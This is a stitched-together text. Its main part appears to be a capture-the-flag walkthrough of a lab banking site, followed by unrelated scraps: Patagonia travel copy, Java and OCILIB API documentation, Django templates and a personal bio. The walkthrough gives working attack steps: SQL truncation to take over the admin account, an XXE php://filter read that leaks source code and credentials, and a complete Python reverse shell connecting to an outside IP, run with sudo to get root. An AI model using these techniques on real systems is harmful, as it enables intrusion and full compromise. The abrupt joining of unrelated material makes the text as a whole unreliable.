[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2021/01/16 14:44:34 Starting gobuster
===============================================================
/register.php (Status: 200)
/index.html (Status: 200)
/admin.php (Status: 200)
/scripts (Status: 301)
/forms.php (Status: 200)
/report (Status: 200)
/logout.php (Status: 302)
/dashboard.php (Status: 302)
/acc.php (Status: 200)
/with.php (Status: 302)
/tra.php (Status: 302)
/server-status (Status: 403)
===============================================================
2021/01/16 15:30:28 Finished
===============================================================
So we can see admin.php
I tried every common passwords but didnt work.
When I went to report I downloaded a file , I didnt give it any attention . So I tried sql injection using sqlmap and manually also but nothing worked.
So I saw what is the source code of the page , in there I found an interesting thing.
If you observe the differences between both the source code u can see the maxlength “12” and “14” difference there.
This is a type of sql vulnerability called SQL Truncation (click the link to give a read)
But we need to find username and the username is not admin.
A friend of mine gave me an hint to look at the file I found in /report directory.
So it is an elf executable file.
Hence I ran the binary.
Interesting , so I fired up ghidra in hope of finding credentials.
So the main function is:
undefined8 main(void)
{
int iVar1;
int local_8c;
char local_88 [32];
char local_68 [32];
undefined local_48 [32];
char local_28 [32];
local_8c = 0;
puts("\n\n\n");
puts("Welcome To ABC DEF Bank Managemet System!\n\n");
printf("UserName : ");
__isoc99_scanf(&DAT_001021f0,local_68);
puts("\n");
printf("Password : ");
__isoc99_scanf(&DAT_001021f0,local_88);
iVar1 = strcmp(local_68,"guest");
if ((iVar1 == 0) && (iVar1 = strcmp(local_88,"<redacted-password>"), iVar1 == 0)) {
options();
while (local_8c != 5) {
printf("Your Choice : ");
__isoc99_scanf(&DAT_00102216,&local_8c);
if (local_8c == 1) {
users();
}
else {
if (local_8c == 4) {
printf("email : ");
__isoc99_scanf(&DAT_001021f0,local_28);
puts("\n");
printf("Password : ");
__isoc99_scanf(&DAT_001021f0,local_48);
update(local_28);
}
else {
if ((local_8c == 3) || (local_8c == 2)) {
puts("not available for guest account\n");
system("clear");
options();
}
else {
puts("Wrong option\n");
system("clear");
options();
}
}
}
}
}
else {
printf("Wrong username or password");
}
return 0;
}
So from the main function gives creds to guest account.
Let’s use it .
So we get username admin<redacted> hence let’s use sql truncate exploit.
Before we use this exploit we need to know what it does.
In this exploit we are creating a username more than the allowed characters , so that the server will think it is creating a new username but instead we are creating a admin account.
Since the register.php allows only 12 characters whereas admin.php allows 14 characters.
So we need to edit the register.php with inspect element from 12 to 14 as admin<redacted> D which should be exactly 14 characters.
U can check it with python.
Now register as this user with ur choice of password.
Login with admin<redacted> and password you found.
Now you are in as admin.
Second Stage : From Admin to cyber
After this I tried command injection on acc.php
Only command which succeeded was “whoami” . I tried many filters but wont work. I tried other php files and saw something interesting in forms.php
So this gives an hint that we should try XXE.
Hence I found a payload from payload all the things.
I tried /etc/passwd
So I tried expect but didn’t work . There was some filter blocking it. After that I tried to download a shell.php to the machine but the machine deletes that too. After that I tried reading acc.php (hint from a friend)
php://filter/convert.base64-encode/resource=/var/www/html/acc.php
So we get base64 encoded reply if we decode it is the file acc.php and it has something interesting.
<!DOCTYPE html>

Dashboard

Withdraw Money

Deposit Money

Transfer Money

My Account

command

Logout

Contact Us

<?php
session_start();
if(isset($_SESSION['favcolor']) and<EMAIL_ADDRESS>{
echo "
Weclome to Account control panel
";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "

";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:<redacted-password>
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>
Hence we get creds for ssh , username is cyber.
Third Stage : Cyber to root
So we ssh into the machine.
Now we try
sudo -l
If we run the program
Since we dont have read and write permission .
cp run.py run.py.bak
rm run.py
Now the reverse shell :
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<IP_ADDRESS>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
Now we run :
sudo /usr/bin/python3 /home/cyber/run.py
We get shell
Now we get the root flag. Since we are root we can also get user yash flag.
Credits:
With the hints of Deepansh11 I completed this room , without those hints I would have been stuck.


Patagonia (Spanish pronunciation: [pataˈɣonja]) is a sparsely populated region located at the southern end of South America, shared by Argentina and Chile. The region comprises the southern section of the Andes mountains as well as the deserts, pampas and grasslands east of this southern portion of the Andes. Patagonia has two coasts: western facing the Pacific Ocean and eastern facing the Atlantic Ocean.
The name Patagonia comes from the word patagón, which was used by Magellan in 1520 to describe the native tribes of the region, whom his expedition thought to be giants. It is now believed that the people he called the Patagons were Tehuelches, who tended to be taller than Europeans of the time.
The Argentine researcher Miguel Doura observed that the name Patagonia possibly derives from the ancient Greek region of modern Turkey called Paphlagonia, possible home of the patagon personage in the chivalric romances Primaleon printed in 1512, ten years before Magellan arrived in these southern lands. The hypothesis was accepted and published in a 2011 New Review of Spanish Philology report.
The overall climate is cool and dry. The east coast is warmer than the west, especially in summer, as a branch of the southern equatorial current reaches its shores, whereas the west coast is washed by a cold current. However, winters are colder on the inland plateaus east of the slopes and further down the coast on the south east end of the Patagonian region.
Patagonia is a distinct geographical region at the base of South America spanning the lower sections of Argentina and Chile. On the Chilean side, it starts in the Araucanía region extending down to the extreme southern tip of the country. On the Argentine side, it begins in the province of Rio Negro and carries on all the way to Tierra Del Fuego.
For many centuries, Patagonia was considered to be “the end of the known world”. The region was subject of strange folklore; a mysterious, extensive land, home to gigantic beings with peculiar habits. Just getting here meant sailing across some of the world’s most dangerous waters, where countless ships rest today at the bottom of the sea.
The region of Patagonia covers a total extension of approximately 800,000 square kilometers (310,000 sq mi), encompassing the southern cone of South America. The countries of Chile and Argentina share this territory, with most of Patagonia found on the Argentinean side.
The summer season in Patagonia runs from December to March. The highest rainfall is during the Patagonian winter (June to September) but days are changeable and can be hot and sunny Patagonia, Chileone day, to wet and windy the next year round. Summer season is definitely the best time to travel to this part of the world, as winter months can be harsh and inhospitable.
Trip Specials
Endless scenery fills this trek. 11 Hiking Days. Level 4. Member from $6,899. Non-member from $7,599
Four nights camping make this 13-day trek one of the most treasured. Level 4. Member from $6,699. Non-member from $7,299
This 7-day adventure includes Cycling, Hiking, Kayaking. Level 3. Member from $4,399. Non-member from $4,849
Multisport and Deluxe Lodging. 7 days in Torres del Paine National Park. Level 3. Member from $6,899. Non-member from $7,599
Remote landscape fill our 11-day trek to southern South America. Level 4. Member from $6,899. Non-member from $7,599
Four nights camping make this 13-day trek one of the most treasured. Level 4. Member from $6,699. Non-member from $7,299


Loading
Delivery Area chart
more_vert
Delivery Line chart
more_vert
International content can be found here


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object edu.ou.weinmann.repsi.model.trial.Trial
public class Trial
Manages the trial run functionality of the REPSI tool:
| Constructor Summary | |
|---|---|
Trial()
Constructs a Trial object. |
|
Trial(java.lang.String parProprtiesFilename,
boolean parPropertiesXml)
Constructs a Trial object. |
| Method Summary | |
|---|---|
boolean |
runTrial(int parDatabaseInstanceId,
int parTestSuiteId,
java.lang.String parDescription,
int parFetchSize,
int parFrequency,
long parPrecision)
Runs a trial and records the measured results. |
boolean |
trialDataToExcel(java.lang.String parFileName,
boolean parAllData)
Exports all the data of a trial run from the master database into an Excel file. |
| Methods inherited from class java.lang.Object |
|---|
equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public Trial()
Trial
object. The name of the used properties
file is taken from mthe class
edu.ou.weinmann.repsi.model.util.Global
and does not
constitute an XML document.
public Trial(java.lang.String parProprtiesFilename, boolean parPropertiesXml)
Trial
object.
parProprtiesFilename
- complete filename of the properties file
including the directory.parPropertiesXml
- true
if the properties file
constitutes an XML document.| Method Detail |
|---|
public final boolean runTrial(int parDatabaseInstanceId, int parTestSuiteId, java.lang.String parDescription, int parFetchSize, int parFrequency, long parPrecision)
parDatabaseInstanceId
- The identification of the used test database
instance.parTestSuiteId
- The identification of the used test test suite.parFetchSize
- The fetch size.parFrequency
- The number of cycles to be executed.parDescription
- The description of the calibration run.parPrecision
- The exponent (base 10) of the required precision for
the response time. Calibrates the execution of a simple Java
method.
true
if the processing ended without any error,
and false
otherwise.public final boolean trialDataToExcel(java.lang.String parFileName, boolean parAllData)
parFileName
- The complete file name of the Excel file including the
directory.parAllData
- Whether all data are required instead of the latest
trial run only.
true
if the calibration data were exported without
any error, and false
otherwise.
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


);>
Home
Services
AboutUs
Sign Up
Login
Dashboard
Employee
EmpId
FirstName
LastName
Details
1
Peter
Griffin
Details
2
Lois
Mane
Details
3
Joe
Swanson
Details
4
Cleveland
Brown
Details
Click here to add New Employee


Follow these steps after selecting Bloomberg as your brokerage or data feed in the tutorial in the introduction:
$ lean live "My Project" Select the organization with the Bloomberg module subscription: 1) Organization 1 2) Organization 2 3) Organization 3 Enter an option: 1
Production
or Beta
.
$ lean live "My Project" Environment (Production, Beta): Production
$ lean live "My Project" Server host: <IP_ADDRESS> Server port: 8194
$ lean live "My Project" Path to symbol map file: ~/Documents/symbol-map-file.json
/* This is a manually created file that contains mappings from Bloomberg's own naming to original symbols defined by respective exchanges. */ { // Example: /*"SPY US Equity": { "Underlying": "SPY", "SecurityType": "Equity", "Market": "usa" }*/ }
[]
can be skipped by pressing enter).
$ lean live "My Project" EMSX broker: someValue EMSX user timezone [UTC]: EMSX account []: EMSX strategy []: EMSX notes []: EMSX handling []:
$ lean live "My Project" Allow modification (yes/no): no


Personal Data:
Surname:
Name:
Middle name:
You are:
male
female
Age:
Country of Residence:
City:
Moskow
Ryazan
Photography:
Title:
WebMaster
Database Administrator
Computer-aided design
Economic Planning
Management accounting
Budgeting and planning
Salary:
Contact Information
Site:
Email:
Phone:
Password:


Hi, I’m Teddy Billings.
I am a UX designer and researcher. My favorite part of the design process is interpreting and visualizing user research and feedback into my designs. Human behavior is constantly changing which means research needs to be used in 2 main ways: (1) Adaptively: to iterate on a product and to find a beautiful solution to fit users’ needs and (2) Predictively: to innovate and create experiences that pushes the boundaries of both users' expectations and technology, giving the design a competitive advantage. It is finding this balance of pushing innovation and adapting that I love, and that creates fool-proof products.
I am currently working for Curriculum Associates, designing and researching products for teachers and students. I love cats, videogames and working out (in that order).


{% extends "base_accounts.html" %} {% block title %} {{ block.super }} - Reset Your Password {% endblock %} {% block breadcrumb %} Password Reset {% endblock %} {% block content %}
Check your email for a link to reset your password. If it doesn't appear within a few minutes, check your spam folder.
Return to Login


|
OCILIB (C and C++ Driver for Oracle)
4.5.1
|
Object identifying the SQL data type INTERVAL. More...
#include <ocilib.hpp>
Inherits ocilib::HandleHolder< OCI_Interval *>, and ocilib::Streamable.
Public Types | |
| enum | IntervalTypeValues { YearMonth = OCI_INTERVAL_YM, DaySecond = OCI_INTERVAL_DS } |
| Interval types enumerated values. More... | |
| typedef Enum< IntervalTypeValues > | IntervalType |
| Interval types. More... | |
Public Member Functions | |
| Interval () | |
| Create an empty null Interval instance. | |
| Interval (IntervalType type) | |
| Create a new instance of the given type. More... | |
| Interval (IntervalType type, const ostring &data) | |
| Create an interval object with the value provided by the input interval string. More... | |
| IntervalType | GetType () const |
| Return the type of the given interval object. | |
| bool | IsValid () const |
| Check if the given interval is valid. | |
| int | GetYear () const |
| Return the interval year value. More... | |
| void | SetYear (int value) |
| Set the interval year value. More... | |
| int | GetMonth () const |
| Return the interval month value. More... | |
| void | SetMonth (int value) |
| Set the interval month value. More... | |
| int | GetDay () const |
| Return the interval day value. More... | |
| void | SetDay (int value) |
| Set the interval day value. More... | |
| int | GetHours () const |
| Return the interval hours value. More... | |
| void | SetHours (int value) |
| Set the interval hours value. More... | |
| int | GetMinutes () const |
| Return the interval minutes value. More... | |
| void | SetMinutes (int value) |
| Set the interval minutes value. More... | |
| int | GetSeconds () const |
| Return the interval seconds value. More... | |
| void | SetSeconds (int value) |
| Set the interval seconds value. More... | |
| int | GetMilliSeconds () const |
| Return the interval seconds value. | |
| void | SetMilliSeconds (int value) |
| Set the interval milliseconds value. | |
| void | GetDaySecond (int &day, int &hour, int &min, int &sec, int &fsec) const |
| Extract the date / second parts from the interval value. More... | |
| void | SetDaySecond (int day, int hour, int min, int sec, int fsec) |
| Set the Day / Second parts. More... | |
| void | GetYearMonth (int &year, int &month) const |
| Extract the year / month parts from the interval value. More... | |
| void | SetYearMonth (int year, int month) |
| Set the Year / Month parts. More... | |
| void | UpdateTimeZone (const ostring &timeZone) |
| Update the interval value with the given time zone. More... | |
| void | FromString (const ostring &data) |
| Assign to the interval object the value provided by the input interval string. More... | |
| ostring | ToString (int leadingPrecision, int fractionPrecision) const |
| Convert the interval value to a string using the given precisions. More... | |
| ostring | ToString () const override |
| Convert the interval value to a string using the default precisions of 10. | |
| Interval | Clone () const |
| Clone the current instance to a new one performing deep copy. | |
| Interval | operator+ (const Interval &other) const |
| Return a new Interval holding the sum of the current Interval value and the given Interval value. | |
| Interval | operator- (const Interval &other) const |
| Return a new Interval holding the difference of the current Interval value and the given Interval value. | |
| Interval & | operator+= (const Interval &other) |
| Increment the current Value with the given Interval value. | |
| Interval & | operator-= (const Interval &other) |
| Decrement the current Value with the given Interval value. | |
| bool | operator== (const Interval &other) const |
| Indicates if the current Interval value is equal to the given Interval value. | |
| bool | operator!= (const Interval &other) const |
| Indicates if the current Interval value is not equal the given Interval value. | |
| bool | operator> (const Interval &other) const |
| Indicates if the current Interval value is superior to the given Interval value. | |
| bool | operator< (const Interval &other) const |
| Indicates if the current Interval value is inferior to the given Interval value. | |
| bool | operator>= (const Interval &other) const |
| Indicates if the current Interval value is superior or equal to the given Interval value. | |
| bool | operator<= (const Interval &other) const |
| Indicates if the current Interval value is inferior or equal to the given Interval value. | |
Object identifying the SQL data type INTERVAL.
This class wraps the OCILIB object handle OCI_Interval and its related methods
Definition at line 3171 of file ocilib.hpp.
Interval types.
Possible values are Interval::IntervalTypeValues
Definition at line 3203 of file ocilib.hpp.
Interval types enumerated values.
| Enumerator | |
|---|---|
| YearMonth | Interval unit range is months -> years |
| DaySecond | Interval unit range is seconds -> days |
Definition at line 3188 of file ocilib.hpp.
|
inline |
Create a new instance of the given type.
| type | - Interval type to create |
Definition at line 2319 of file ocilib_impl.hpp.
References ocilib::Check(), OCI_IntervalCreate(), and OCI_IntervalFree().
|
inline |
Create an interval object with the value provided by the input interval string.
| type | - Interval type to create |
| data | - String interval |
Definition at line 2324 of file ocilib_impl.hpp.
References ocilib::Check(), Interval(), OCI_IntervalCreate(), and OCI_IntervalFree().
|
inline |
Return the interval year value.
Definition at line 2360 of file ocilib_impl.hpp.
|
inline |
Set the interval year value.
Definition at line 2369 of file ocilib_impl.hpp.
|
inline |
Return the interval month value.
Definition at line 2377 of file ocilib_impl.hpp.
|
inline |
Set the interval month value.
Definition at line 2386 of file ocilib_impl.hpp.
|
inline |
Return the interval day value.
Definition at line 2394 of file ocilib_impl.hpp.
|
inline |
Set the interval day value.
Definition at line 2403 of file ocilib_impl.hpp.
Referenced by ocilib::Timestamp::operator+(), ocilib::Timestamp::operator+=(), ocilib::Timestamp::operator-(), and ocilib::Timestamp::operator-=().
|
inline |
Return the interval hours value.
Definition at line 2411 of file ocilib_impl.hpp.
|
inline |
Set the interval hours value.
Definition at line 2420 of file ocilib_impl.hpp.
|
inline |
Return the interval minutes value.
Definition at line 2428 of file ocilib_impl.hpp.
|
inline |
Set the interval minutes value.
Definition at line 2437 of file ocilib_impl.hpp.
|
inline |
Return the interval seconds value.
Definition at line 2445 of file ocilib_impl.hpp.
|
inline |
Set the interval seconds value.
Definition at line 2454 of file ocilib_impl.hpp.
|
inline |
Extract the date / second parts from the interval value.
| day | - Place holder for Day value |
| hour | - Place holder for Hour value |
| min | - Place holder for Minutes value |
| sec | - Place holder for Seconds value |
| fsec | - Place holder for Milliseconds value |
Definition at line 2479 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalGetDaySecond().
|
inline |
Set the Day / Second parts.
| day | - Day value |
| hour | - Hour value |
| min | - Minutes value |
| sec | - Seconds value |
| fsec | - Milliseconds value |
Definition at line 2484 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalSetDaySecond().
|
inline |
Extract the year / month parts from the interval value.
| year | - Place holder for year value |
| month | - Place holder for month value |
Definition at line 2489 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalGetYearMonth().
|
inline |
Set the Year / Month parts.
| year | - Year value |
| month | - Month value |
Definition at line 2493 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalSetYearMonth().
|
inline |
Update the interval value with the given time zone.
| timeZone | - Time zone name |
Definition at line 2498 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalFromTimeZone().
|
inline |
Assign to the interval object the value provided by the input interval string.
| data | - String interval |
Definition at line 2503 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_IntervalFromText().
|
inline |
Convert the interval value to a string using the given precisions.
| leadingPrecision | - leading precision |
| fractionPrecision | - fraction precision |
Definition at line 2508 of file ocilib_impl.hpp.
References ocilib::Check(), ocilib::MakeString(), and OCI_IntervalToText().


{% extends 'base/base.html' %} {% load static %} {% block title_container %}{% endblock %} {% block content %}
Damn... We never expect this to happend... Please contact the developer as soon as possible.


{% extends "base_admin.html" %} {% block devs %} class="active" {% endblock %} {% block content %}
Started by Randy Deng and kept alive by The Hive.


YJY
About Me
Educational
Think&Talk
Get In Touch
About Me
Profile
Like
Gallery
BEST SCENES
YOON JUYUL'S PHOTO GALLERY